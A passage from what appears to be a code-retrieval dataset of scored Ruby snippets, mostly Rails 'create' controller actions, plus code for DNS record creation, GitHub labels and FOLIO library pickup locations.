Resource.new(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e24ff11fa2249ad5da89be7ff8aa4539", "score": "0.5215296", "text": "def cfr_record_params\n params.require( :cfr_record ).permit( \n :title, :note, :group_id, :conf_level, :doc_version, :doc_date, :doc_owner,\n :extension, :cfr_file_type_id, :hash_value, :hash_function, :rec_frozen,\n cfr_locations_attributes: [ :id, :_destroy, :cfr_location_type_id, :file_name, :doc_code, :doc_version, :uri, :is_main_location ],\n src_relations_attributes: [ :id, :_destroy, :dst_record_id, :cfr_relationship_id ],\n dst_relations_attributes: [ :id, :_destroy, :src_record_id, :cfr_relationship_id ])\n end", "title": "" }, { "docid": "8d29658960152e96ffa234f154672e81", "score": "0.52152157", "text": "def create\n @resource = Resource.new(params[:resource])\n @resource.campaign_id = session[:campaign_id]\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, :notice => 'Resource was successfully created.' }\n format.json { render :json => @resource, :status => :created, :location => @resource }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "197205969951a63bf97cd9da896534eb", "score": "0.52114856", "text": "def create\n @test_record = TestRecord.new(test_record_params)\n\n\n\n respond_to do |format|\n if @test_record.save\n format.html { redirect_to @test_record, notice: 'Test record was successfully created.' }\n format.json { render :show, status: :created, location: @test_record }\n else\n format.html { render :new }\n format.json { render json: @test_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9050b4f46449e012f87cfea2422d83e", "score": "0.52076083", "text": "def create_record(record_type, zone_id, name, data, options = {})\n optional_tags= ''\n options.each { |option, value|\n case option\n when :ttl\n optional_tags+= \"<ttl type='integer'>#{value}</ttl>\"\n when :active\n optional_tags+= \"<active>#{value}</active>\"\n when :aux\n optional_tags+= \"<aux>#{value}</aux>\"\n end\n }\n\n request(\n :body => %Q{<?xml version=\"1.0\" encoding=\"UTF-8\"?><record><record_type>#{record_type}</record_type><zone_id type=\"integer\">#{zone_id}</zone_id><name>#{name}</name><data>#{data}</data>#{optional_tags}</record>},\n :expects => 201,\n :method => 'POST',\n :parser => Fog::Parsers::DNS::Slicehost::CreateRecord.new,\n :path => 'records.xml'\n )\n end", "title": "" }, { "docid": "f95dd183c1fe3314a25663adb782e461", "score": "0.51912796", "text": "def create\n @regional_data_record = @region.regional_data_records.new(regional_data_record_params)\n\n respond_to do |format|\n if @regional_data_record.save\n format.html { redirect_to [@region, @regional_data_record], notice: 'Regional data record was successfully created.' }\n format.json { render :show, status: :created, location: @regional_data_record }\n else\n format.html { render :new }\n format.json { render json: @regional_data_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa2555ce85c70aa38c0dcb1a51b8039c", "score": "0.51835483", "text": "def resource_params\n #params[:resource]\n params.require(:resource).permit(:name, :p_voice, :p_fax, :p_tty, :street_1, :street_2, \n :city, :state, :zip, :url, :language, :desc, {brochure_ids: []})\n end", "title": "" }, { "docid": "2473ed357c7e02f44a13fa721b86fdd6", "score": "0.5179757", "text": "def create_record(http)\n json = %|{\n \"kind\": \"Article\",\n \"title\": \"Sample\",\n \"text\": \"Just some random text.\"\n}|\n resp = http.send_request('PUT', '/v1/Article', json, { 'Content-Type' => 'application/json' })\n # Response should be an OK with a JSON body.\n assert_equal(Net::HTTPOK, resp.class, 'response not an OK')\n reply = Oj.strict_load(resp.body, symbol_keys: true)\n\n # Make sure the message has the correct fields and values.\n assert_equal(0, reply[:code], 'create reply.code should be 0 meaning no error')\n ref = reply[:ref]\n refute_equal(nil, ref, 'create reply record reference can not be nil')\n refute_equal(0, ref, 'create reply record reference can not be 0')\n ref\n end", "title": "" }, { "docid": "8b6312a58149e99b23e34989b076abe3", "score": "0.5179398", "text": "def create\n @request = CardDetail.new.verify_transaction(params[:trxref]).parsed_response\n\n @user = User.find_by_email(@request['data']['customer']['email'])\n\n @card_detail = CardDetail.new(auth_code: @request['data']['authorization']['authorization_code'],\n bin: @request['data']['authorization']['bin'],\n last_four: @request['data']['authorization']['last4'],\n bank: @request['data']['authorization']['bank'],\n brand: @request['data']['authorization']['brand'],\n country_code: @request['data']['authorization']['country_code'],\n user: @user)\n respond_to do |format|\n if @card_detail.save\n format.html { redirect_to user_card_details_path(@user.id), notice: 'Card detail was successfully created.' }\n format.json { render json: request.headers['Content-Type'], head: :ok }\n else\n format.html { render :new }\n format.json { render json: @card_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8336de3c2e50941a44f6f4a3fcd264cc", "score": "0.51775914", "text": "def create\n render json: ::Transaction::CompSerializer.new( do_comp! ), status: :created\n rescue ActiveRecord::RecordInvalid => ex\n render json: ::Transaction::CompSerializer.new( ex.record ), status: :not_acceptable\n end", "title": "" }, { "docid": "19bee4828d930d1149d765cfdd70c9ac", "score": "0.51701236", "text": "def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end", "title": "" }, { "docid": "02782aaf50d8b9c12625b64b6a61ea91", "score": "0.51681656", "text": "def create(resource, opts={})\n \n unless @records.has_key?(resource.model.storage_name)\n @records[resource.model.storage_name] = {}\n end\n \n @records[resource.model.storage_name][resource.key] = resource.attributes\n \n end", "title": "" }, { "docid": "bc021e43758756a5197d4d183faedc14", "score": "0.51674354", "text": "def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render json: @resource, status: :created, location: @resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f3b99969e8e24029a90c877caee30dd", "score": "0.5161842", "text": "def create\n @asaaddrobj = Asaaddrobj.new(params[:asaaddrobj])\n\n respond_to do |format|\n if @asaaddrobj.save\n format.html { redirect_to @asaaddrobj, notice: 'Asaaddrobj was successfully created.' }\n format.json { render json: @asaaddrobj, status: :created, location: @asaaddrobj }\n else\n format.html { render action: \"new\" }\n format.json { render json: @asaaddrobj.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88e8612919f4995205f76a634f54a2fb", "score": "0.5156982", "text": "def create\n status_unsupported_media_type && return unless content_type_header?\n\n # Parse in the FHIR::Patient\n contents = FHIR.from_contents(request.body.string)\n status_bad_request && return if contents.nil? || !contents.valid?\n\n resource_type = params.permit(:resource_type)[:resource_type]&.downcase\n case resource_type\n when 'patient'\n # Construct a Sara Alert Patient\n resource = Patient.new(Patient.from_fhir(contents))\n\n # Responder is self\n resource.responder = resource\n\n # Creator is authenticated user\n resource.creator = current_resource_owner\n\n # Jurisdiction is the authenticated user's jurisdiction\n resource.jurisdiction = current_resource_owner.jurisdiction\n\n # Generate a submission token for the new monitoree\n resource.submission_token = SecureRandom.hex(20) # 160 bits\n end\n\n status_bad_request && return if resource.nil?\n\n status_bad_request && return unless resource.save\n\n if resource_type == 'patient'\n # Send enrollment notification\n resource.send_enrollment_notification\n\n # Create a history for the enrollment\n History.enrollment(patient: resource, created_by: current_resource_owner.email, comment: 'User enrolled monitoree via API.')\n end\n status_created(resource.as_fhir) && return\n rescue StandardError\n render json: operation_outcome_fatal.to_json, status: :internal_server_error\n end", "title": "" }, { "docid": "52f6a8fe2c5797c4b83130f6715ee72c", "score": "0.5146182", "text": "def create\n @relcollect = Relcollect.new(relcollect_params)\n\n respond_to do |format|\n if @relcollect.save\n format.html { redirect_to @relcollect, notice: 'Relcollect was successfully created.' }\n format.json { render :show, status: :created, location: @relcollect }\n else\n format.html { render :new }\n format.json { render json: @relcollect.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13c84ff9616297704c739ef6a45026c9", "score": "0.5144986", "text": "def create(rec)\n @name = rec.fields[\"name\"]\n @address = rec.fields[\"address\"]\n @city = rec.fields[\"city\"]\n @state = rec.fields[\"state\"]\n @zip = rec.fields[\"zip\"]\n @phone << rec.fields[\"phone\"] if !rec.fields[\"phone\"].nil?\n @fax << rec.fields[\"fax\"] if !rec.fields[\"fax\"].nil?\n @email << rec.fields[\"email\"] if !rec.fields[\"email\"].nil?\n end", "title": "" }, { "docid": "68a24b44323d5df0d3921a08107ae21a", "score": "0.5141911", "text": "def create\n @arcone = Arcone.new(params[:arcone])\n\n respond_to do |format|\n if @arcone.save\n format.html { redirect_to @arcone, notice: 'Arcone was successfully created.' }\n format.json { render json: @arcone, status: :created, location: @arcone }\n else\n format.html { render action: \"new\" }\n format.json { render json: @arcone.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f188d64b436892eb5471a9944d5fb0e", "score": "0.5134637", "text": "def create\n @brmcollection = Brmcollection.new(brmcollection_params)\n @brmcollection.airport_id = params[:airport_id]\n @brmcollection.bordergranularity_id = params[:bordergranularity_id]\n\n respond_to do |format|\n if @brmcollection.save\n format.html { redirect_to brmcollections_path, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @brmcollection }\n else\n format.html { render :new }\n format.json { render json: @brmcollection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6a0c2851a20287e28d591c172b3ca2b", "score": "0.51319593", "text": "def create\n # byebug\n image_file = Cloudinary::Uploader.upload(params[:image_file])\n audio_file = Cloudinary::Uploader.upload(params[:audio_file], :resource_type => :video)\n sample = Sample.create(image_file: image_file[\"url\"], audio_file: audio_file[\"url\"], name: params[:name], genre: params[:genre], collection: params[:collection])\n\n render json: sample\n end", "title": "" }, { "docid": "8b7585758df3c2df69b6ad761f1ef7e9", "score": "0.51235384", "text": "def add(record, zone)\n new_answers = [{ answer: build_api_answer_from_record(record) }]\n\n record_fqdn = record.fqdn.sub(/\\.$/, '')\n\n existing_record = client.record(\n zone: zone,\n fqdn: record_fqdn,\n type: record.type\n )\n\n if existing_record.nil?\n client.create_record(\n zone: zone,\n fqdn: record_fqdn,\n type: record.type,\n params: {\n answers: new_answers,\n ttl: record.ttl,\n use_client_subnet: false, # only required for filter chains that are not supported by record_store\n }\n )\n return\n end\n\n existing_answers = existing_record['answers'].map { |answer| symbolize_keys(answer) }\n client.modify_record(\n zone: zone,\n fqdn: record_fqdn,\n type: record.type,\n params: { answers: existing_answers + new_answers, ttl: record.ttl }\n )\n end", "title": "" }, { "docid": "ed2ba0104bb726e07b4bbe87f078c2d0", "score": "0.51203996", "text": "def create\n @api_v1_resource = Api::V1::Resource.new(api_v1_resource_params)\n\n respond_to do |format|\n if @api_v1_resource.save\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_resource }\n else\n format.html { render :new }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e15c14160ff717df01dd6adaf63bd73f", "score": "0.5119539", "text": "def createRecord(sObject,records_to_insert)\n puts \"in @helper::createRecord\"\n puts records_to_insert\n record = @restForce.createRecord(sObject,records_to_insert)\n puts record\n return record\nend", "title": "" }, { "docid": "e0ed6fb13f990ab2bd95f04f97fb7d0c", "score": "0.51174605", "text": "def create\n @restora = Restora.new(restora_params)\n\n respond_to do |format|\n if @restora.save\n format.html { redirect_to @restora, notice: 'Restora was successfully created.' }\n format.json { render :show, status: :created, location: @restora }\n else\n format.html { render :new }\n format.json { render json: @restora.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a939f6b79ae292bfa41f8b2425828d4", "score": "0.5115754", "text": "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "title": "" }, { "docid": "7704edc0be0d31ecbe40a4d10c8e5f1c", "score": "0.5115364", "text": "def create\n \n dns_entry_response = RestClient.post('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n\n if JSON.parse(dns_entry_response)[\"success\"]\n @dns_entry = DnsEntry.new(dns_entry_params)\n\n respond_to do |format|\n if @dns_entry.save\n format.html { redirect_to @dns_entry, notice: \"Dns entry was successfully created.\" }\n format.json { render :show, status: :created, location: @dns_entry }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @dns_entry.errors, status: :unprocessable_entity }\n end\n end \n\n end\n\n\n end", "title": "" }, { "docid": "bad894707abb1876f042bd864801b46e", "score": "0.51144105", "text": "def create\n @status_record = StatusRecord.new(params[:status_record])\n\n respond_to do |format|\n if @status_record.save\n format.html { redirect_to @status_record, notice: 'Status record was successfully created.' }\n format.json { render json: @status_record, status: :created, location: @status_record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b14a8fa373b4131d4cf3086212450d9", "score": "0.51004606", "text": "def create\n @course = Course.new(course_params)\n @course.save\n render_jsonapi_response(@course)\n end", "title": "" }, { "docid": "d1bfd84ce1944b485288050580489320", "score": "0.5094872", "text": "def create\n @railcar = Railcar.new(railcar_params)\n\n respond_to do |format|\n if @railcar.save\n format.html { redirect_to @railcar, notice: 'Railcar was successfully created.' }\n format.json { render :show, status: :created, location: @railcar }\n else\n format.html { render :new }\n format.json { render json: @railcar.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7a47f346349bd6037d530563cb36bcb", "score": "0.5094232", "text": "def create\n @additive = Additive.new(additive_params)\n\n respond_to do |format|\n if @additive.save\n format.html { redirect_to @additive, success: 'Additive was successfully created.' }\n format.json { render :show, status: :created, location: @additive }\n else\n format.html { render :new }\n format.json { render json: @additive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4976fcf1427457819182a9c35b1c5202", "score": "0.5090867", "text": "def post_data(body)\r\n raise ConfigError, 'no json_records' if body.empty?\r\n # Create REST request header\r\n header = get_header(body.bytesize)\r\n # Post REST request \r\n response = RestClient.post(@uri, body, header)\r\n\r\n return response\r\n end", "title": "" }, { "docid": "98dd44b81d51a6cb180449e9277f45cd", "score": "0.5089055", "text": "def create\n params.permit!\n if params[\"job_card\"][\"customer_id\"]\n @customer = Customer.find params[\"job_card\"][\"customer_id\"]\n else\n params[\"job_card\"][\"customer_attributes\"][\"tenant_id\"] = current_tenant.id\n params[\"job_card\"][\"customer_vehicle_attributes\"][\"tenant_id\"] = current_tenant.id\n @customer = Customer.create(params[\"job_card\"][\"customer_attributes\"])\n end\n unless params[\"job_card\"][\"customer_vehicle_id\"]\n params[\"job_card\"][\"customer_vehicle_attributes\"][\"customer_id\"] = @customer.id\n @customer_vehicle = CustomerVehicle.create(params[\"job_card\"][\"customer_vehicle_attributes\"])\n else\n @customer_vehicle = CustomerVehicle.find params[\"job_card\"][\"customer_vehicle_id\"]\n\n end\n byebug\n job_card_id = JobCard.last.present? ? JobCard.last.id + 1 : 0\n @job_card = JobCard.new(job_card_params.merge(\"tenant_id\": current_tenant.id).merge(\"customer_id\": @customer.id).merge(\"customer_vehicle_id\": @customer_vehicle.id).merge(\"jobcard_status\": 1))\n @job_card.job_card_number = \"JID\"+\"1000\"+ job_card_id.to_s\n respond_to do |format|\n if @job_card.save\n params[\"particulars\"].each do |particular|\n particular[\"tenant_id\"] = current_tenant.id\n particular[\"job_card_id\"] = @job_card.id\n Particular.create(particular)\n end\n format.html { redirect_to job_cards_path, notice: 'Job card was successfully created.' }\n format.json { render :show, status: :created, location: @job_card }\n else\n format.html { render :new }\n format.json { render json: @job_card.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35d1d3f386c527aa4c7def22905be8ac", "score": "0.5085722", "text": "def create\n @record = Record.new(record_params)\n\n respond_to do |format|\n if @record.save\n format.html { redirect_to records_url, notice: '登録しました' }\n format.json { render :show, status: :created, location: @record }\n else\n format.html { render :new }\n format.json { render json: @record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64ec4a54c7224a229fcfda2bcac8e498", "score": "0.50796205", "text": "def write_record\n route53.change_resource_record_sets(options)\n end", "title": "" }, { "docid": "f54fb29681f36c55a88de68c00d10a11", "score": "0.5078378", "text": "def create\n @resource = Resource.new(resource_params)\n @resource.active = true\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4c6be640b0cf1b121619544ba4c3b2c", "score": "0.5078142", "text": "def execute_customer_record_create(qty)\n puts \"Starting to create Customer records... Please give the API time to respond...\\n\"\n qty.times do |t|\n body = FakeCustomer.new.generate\n # puts JSON.pretty_generate(JSON.parse(body.to_json))\n FakeRestActions.new(endpoint: \"Customers\", body: body, access_token: @access_token).post_request\n end\n end", "title": "" }, { "docid": "fa26699dc0f0c1bbfff99618ab9ce3bb", "score": "0.5076772", "text": "def create\n @given_circumstance = GivenCircumstance.new(given_circumstance_params)\n\n if @given_circumstance.save\n render json: @given_circumstance, status: :created, location: @given_circumstance\n else\n render json: @given_circumstance.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c73a5298c04e1ca0cd9e4557d93ded21", "score": "0.50743455", "text": "def main\n create_table\n set_timestamp_to_now\n json = fetch_data.to_json\n store json\nend", "title": "" }, { "docid": "6c0604a09aa675fbd0774baca53b75eb", "score": "0.507255", "text": "def create\n @pay_record = PayRecord.new(pay_record_params)\n\n respond_to do |format|\n if @pay_record.save\n format.html { redirect_to @pay_record, notice: 'Pay record was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pay_record }\n else\n format.html { render action: 'new' }\n format.json { render json: @pay_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "251d1c75a95d561e90fb64684cee634c", "score": "0.5071984", "text": "def save\n requires :name, :type, :ttl, :rrdatas\n\n service.create_change(self.zone.id, [resource_record_set_format], [])\n self\n end", "title": "" }, { "docid": "bf7efd7f2d9405c07ac5d30e9dc1999b", "score": "0.50717324", "text": "def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end", "title": "" }, { "docid": "ae21d4abd6e9e623a29283dc8a29a911", "score": "0.5070295", "text": "def create\n @registro_record = RegistroRecord.new(params[:registro_record])\n\n respond_to do |format|\n if @registro_record.save\n format.html { redirect_to @registro_record, notice: 'Registro record was successfully created.' }\n format.json { render json: @registro_record, status: :created, location: @registro_record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @registro_record.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a947ea1b59e7b9b9572807e1b2749c8a", "score": "0.50695693", "text": "def create_record(zone_id, type, name, content, options={})\n body = %Q{<?xml version=\"1.0\" encoding=\"UTF-8\"?><record><type>#{type}</type><name>#{name}</name><content>#{content}</content>}\n options.each do |k,v|\n body += %Q{<#{k}>#{v}</#{k}>}\n end\n body += %Q{</record>}\n request(\n :body => body,\n :expects => 202,\n :method => 'POST',\n :parser => Fog::Parsers::DNS::Bluebox::CreateRecord.new,\n :path => \"/api/domains/#{zone_id}/records.xml\"\n )\n end", "title": "" }, { "docid": "38c2b67cece5f7636236ab5214440fc0", "score": "0.5068829", "text": "def create \n @record = current_user.records.new(record_params)\n \n # if the record was saved successfully\n if @record.save\n @record.update_user_json_keys!\n redirect_to records_path\n # else errors\n else\n # reset json\n @saved_json = params[:record][:json]\n render :new\n end\n end", "title": "" }, { "docid": "76013ad40e1a130d50dada35111609a1", "score": "0.50672024", "text": "def create\n @aucrecord = Aucrecord.new(aucrecord_params)\n\n respond_to do |format|\n if @aucrecord.save\n format.html { redirect_to @aucrecord, notice: 'Aucrecord was successfully created.' }\n format.json { render action: 'show', status: :created, location: @aucrecord }\n else\n format.html { render action: 'new' }\n format.json { render json: @aucrecord.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
59d52a828d43e33dfba3b96ced0eac4b
Can be nil in some cases if not requestable? if requestable?, should be an array of Strings. This just returns BD location labels, see also pickup_location_data to return labels and codes.
[ { "docid": "14fd822924ae1aef8fcfe81018a18c42", "score": "0.5160943", "text": "def pickup_locations\n response_hash[\"PickupLocation\"] && response_hash[\"PickupLocation\"].collect {|h| h[\"PickupLocationDescription\"] }\n end", "title": "" } ]
[ { "docid": "b510b75e1f2edb2499bb25cb00e75538", "score": "0.6242214", "text": "def get_available_labels(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'AvailableLabelsList')\n end", "title": "" }, { "docid": "151dc423c9fc5391a90aff1a7b265e3a", "score": "0.5688626", "text": "def labels\n # TODO: Make a proper Label class to represent this structure...\n Array @gapi[\"labels\"]\n end", "title": "" }, { "docid": "2585ceae217163e2a16b54a7c91ed96b", "score": "0.5599016", "text": "def location_type_label\n location_type.nil? ? '' : LOCATION_TYPE_LABELS[ location_type ]\n end", "title": "" }, { "docid": "2adac57565dbdf2cf03a25305097d6d6", "score": "0.55339974", "text": "def labels\n return @mailer.list_labels\n end", "title": "" }, { "docid": "96f98216209000ce0b96693d9e774aec", "score": "0.5455412", "text": "def labels\n multi_value? ? label_ids.collect{|l_id| Label.find(l_id) } : []\n end", "title": "" }, { "docid": "85092252b0574b14a38743b956f28f0a", "score": "0.5450945", "text": "def locations_details\n locations.map {|l| l.present_as(:default) }\n end", "title": "" }, { "docid": "afb90de88cbda2b85597e32bb6299abd", "score": "0.5434653", "text": "def get_labels\n if labels.present?\n @labels_as_list = labels.join(\"\\n\")\n end\n end", "title": "" }, { "docid": "98fa0efb8ede0b22515a70f0fe76d09e", "score": "0.5408958", "text": "def location_label(value)\n value\n end", "title": "" }, { "docid": "3a608af46c5324f37f9a7ba53877346e", "score": "0.5371968", "text": "def label_list(add_label)\n if params[:labels].present?\n if params[:labels].include? add_label\n return params[:labels]\n else\n return (params[:labels]+\",#{add_label}\")\n end\n else\n return add_label\n end\n end", "title": "" }, { "docid": "07a293b7f51c8279eb6aac3130bf8717", "score": "0.5363153", "text": "def labels(type = N::RDFS::label)\n labels = get_attribute(type)\n unless(labels && labels.size > 0)\n labels = [uri.local_name]\n end\n\n labels\n end", "title": "" }, { "docid": "cc5885a0644fcd5dbb00a6ba3b35e19f", "score": "0.5354115", "text": "def labels\n fields[\"labels\"]\n end", "title": "" }, { "docid": "e0c818e72d6108ad226edceeab47d3b3", "score": "0.5331956", "text": "def labels(type = N::RDFS::label)\n labels = get_attribute(type)\n unless(labels && labels.size > 0)\n labels = [uri.local_name]\n end\n\n labels\n end", "title": "" }, { "docid": "97211ea21f3402eed6165e4386990258", "score": "0.52986515", "text": "def labels(options = {})\n GitHub::Errors.with_error_handling do\n @client.labels(full_name, options)\n end\n rescue GitHub::Error\n []\n end", "title": "" }, { "docid": "7e75ef9a68ff6ab339b08d38bec538d9", "score": "0.52768487", "text": "def labels(arg = nil)\n if arg.nil?\n @labels\n else\n @labels += Array(arg).compact.map(&:to_s)\n end\n end", "title": "" }, { "docid": "bea456e5069683c4c911736e71b7fcda", "score": "0.5253748", "text": "def map_locs\n [location]\n end", "title": "" }, { "docid": "bea456e5069683c4c911736e71b7fcda", "score": "0.5253748", "text": "def map_locs\n [location]\n end", "title": "" }, { "docid": "038e24c1a3c546c4fa08462060b38465", "score": "0.52478296", "text": "def data_for label_or_code\n if geographies = geography(label_or_code)\n if geographies.size > 1\n cmds = geographies.map {|g| \"data_for('#{g.title}') or data_for('#{g.item_code}') see http://statistics.data.gov.uk/doc/statistical-geography/#{g.item_code}\"}\n raise \"more than one match, try one of:\\n\\n #{cmds.join(\" \\n\\n \") }\\n\\n\"\n else\n geo = geographies.first\n data geo.item_code, geo.geography_code\n end\n end\n end", "title": "" }, { "docid": "945e0a9373e01cc2722342c954e3455f", "score": "0.5195144", "text": "def label_coordinates\n @map.types.each do |type|\n areas(type)&.each do |area|\n if area.name == ''\n return area.coordinates[0]\n end\n end\n end\n end", "title": "" }, { "docid": "ce12f77dcdae2b068e2d91344143b4e1", "score": "0.5148507", "text": "def existing_labels\n @octokit.labels_for_issue(\n @repository.full_name,\n @pull_request.number\n ).map(&:name)\n end", "title": "" }, { "docid": "9d56e0937abc710224225f22b7fec293", "score": "0.5111125", "text": "def locations\n\t\t[]\n\tend", "title": "" }, { "docid": "6549e25d048f8cf234e4fc26a857297c", "score": "0.5106396", "text": "def locations\n # blank\n end", "title": "" }, { "docid": "e8a469912aefe9156a7abcf324acb7f0", "score": "0.51048356", "text": "def labels\n return @labels\n end", "title": "" }, { "docid": "e8a469912aefe9156a7abcf324acb7f0", "score": "0.51048356", "text": "def labels\n return @labels\n end", "title": "" }, { "docid": "3a10debd42bc5785707a6f140fa107c3", "score": "0.5093051", "text": "def locations\n self.veterinarians.pluck(:name, :location).map {|x| x.join(\" \")}\n end", "title": "" }, { "docid": "99d2d7233cfff71bb9a05397cd894088", "score": "0.50762576", "text": "def pickup_locations\n # Borrow Direct requests need to provide a library-specific BD code, provided here\n bd_codes = {\n '7c5abc9f-f3d7-4856-b8d7-6712462ca007' => 'F', # Africana\n 'ab1fce49-e832-41a4-8afc-7179a62332e2' => 'I', # Catherwood ILR\n 'b232d619-3441-4fd0-b94c-210002e1fbec' => 'G', # Annex\n '041d6c8d-20a1-4fd7-8588-458286782aea' => 'B', # Law\n '4752a822-380b-446c-860f-bccf641d7118' => 'C', # Mann\n '1a072083-330f-4e1b-afa6-1ef15e24e3c3' => 'Q', # Math\n 'e2f7ad76-ef2a-454f-8fd4-712caaa0f72b' => 'O', # Uris\n '23b28dd9-cd7b-4ac1-a19a-6f4d3fce77d8' => 'E', # Vet\n '86932cca-3b71-4d29-b0e9-0680b1fffabf' => 'H', # Fine Arts\n '8eba8e43-90ae-4be5-b786-1282474301b0' => 'A', # Geneva\n 'f4b8e9e3-831b-44eb-aafe-20f583c555a1' => 'K', # Management\n 'd6756e21-b828-4a0f-9346-2a10633c3b7a' => 'J', # Math\n '1eb3510f-c403-44bf-b3ce-cf693b20ba56' => 'L', # Music\n '760beccd-362d-45b6-bfae-639565a877f2' => 'D', # Olin\n 'debc685c-e905-48d3-9571-bff4742e7249' => 'M', # Ornithology\n '4752a822-380b-446c-860f-bccf641d7118' => 'P', # Contactless pickup - Mann (?)\n '1a072083-330f-4e1b-afa6-1ef15e24e3c3' => 'Q' # Contactless pickup - Math (?)\n }\n\n # Retrieve a list of service points from FOLIO\n url = \"#{ENV['OKAPI_URL']}/service-points?limit=1000\"\n begin\n token = CUL::FOLIO::Edge.authenticate(ENV['OKAPI_URL'], ENV['OKAPI_TENANT'], ENV['OKAPI_USER'], ENV['OKAPI_PW'])[:token]\n headers = {\n 'X-Okapi-Tenant' => ENV['OKAPI_TENANT'],\n 'x-okapi-token' => token,\n :accept => 'application/json',\n }\n response = RestClient.get(url, headers)\n if response.code == 200\n points = JSON.parse(response.body)['servicepoints']\n points.sort_by! { |p| p['discoveryDisplayName'] }\n # As per discussion with Andy Horbal (1/12/22), the criteria to display a service\n # point to the user as a pickup location are:\n # 1. pickupLocation == true\n # 2. discoveryDisplayName != 'Staff Use Only' (used to indicate internal SPs for request routing)\n # 3. discoveryDisplayName doesn't start with 'Special Program Delivery'\n points.select! do |p|\n p['pickupLocation'] &&\n p['discoveryDisplayName'] != 'Staff Use Only' &&\n !(p['discoveryDisplayName'] =~ /^Special Program Delivery/)\n end\n result = points.map do |p|\n {\n name: p['discoveryDisplayName'],\n id: p['id'],\n bd_code: bd_codes[p['id']]\n }\n end\n Rails.logger.debug \"mjc12test6: results: #{result}\"\n return result\n end\n rescue RestClient::ExceptionWithResponse => err\n Rails.logger.debug \"Requests: Couldn't retrieve list of service points (#{err})\"\n return []\n end\n\n # [\n # { name: 'Africana', id: '7c5abc9f-f3d7-4856-b8d7-6712462ca007', bd_code: 'F' },\n # # { name: 'Annex Reading Room Use Only', id: '91f726ff-cbb1-4d60-821e-543ec1e91cc5', bd_code: ''},\n # { name: 'Catherwood ILR', id: 'ab1fce49-e832-41a4-8afc-7179a62332e2', bd_code: 'I'},\n # { name: 'Contactless Pickup - Annex', id: 'b232d619-3441-4fd0-b94c-210002e1fbec', bd_code: 'G'},\n # # { name: 'Contactless Pickup - Law', id: '041d6c8d-20a1-4fd7-8588-458286782aea', bd_code: 'B'},\n # { name: 'Contactless Pickup - Mann', id: '4752a822-380b-446c-860f-bccf641d7118', bd_code: 'P'},\n # { name: 'Contactless Pickup - Math', id: '1a072083-330f-4e1b-afa6-1ef15e24e3c3', bd_code: 'Q'},\n # # { name: 'Contactless Pickup - Ornithology', id: 'd2248b50-9388-4b40-83e2-b2d1200e112c', bd_code: ''},\n # { name: 'Contactless Pickup - Uris Tower', id: 'e2f7ad76-ef2a-454f-8fd4-712caaa0f72b', bd_code: 'O'},\n # { name: 'Contactless Pickup - Vet College community only', id: '23b28dd9-cd7b-4ac1-a19a-6f4d3fce77d8', bd_code: 'E'},\n # # { name: 'Faculty Department Office', id: 'a27d5cda-4810-4b58-874c-1fe1955829e3', bd_code: ''},\n # # { name: 'Fine Arts', id: '86932cca-3b71-4d29-b0e9-0680b1fffabf', bd_code: 'H'},\n # #{ name: 'Geneva Circulation', id: '8eba8e43-90ae-4be5-b786-1282474301b0', bd_code: 'A'},\n # { name: 'Law Circulation', id: '8d40f52a-02cf-4753-b423-0615d4c98479', bd_code: ''},\n # # { name: 'Management', id: 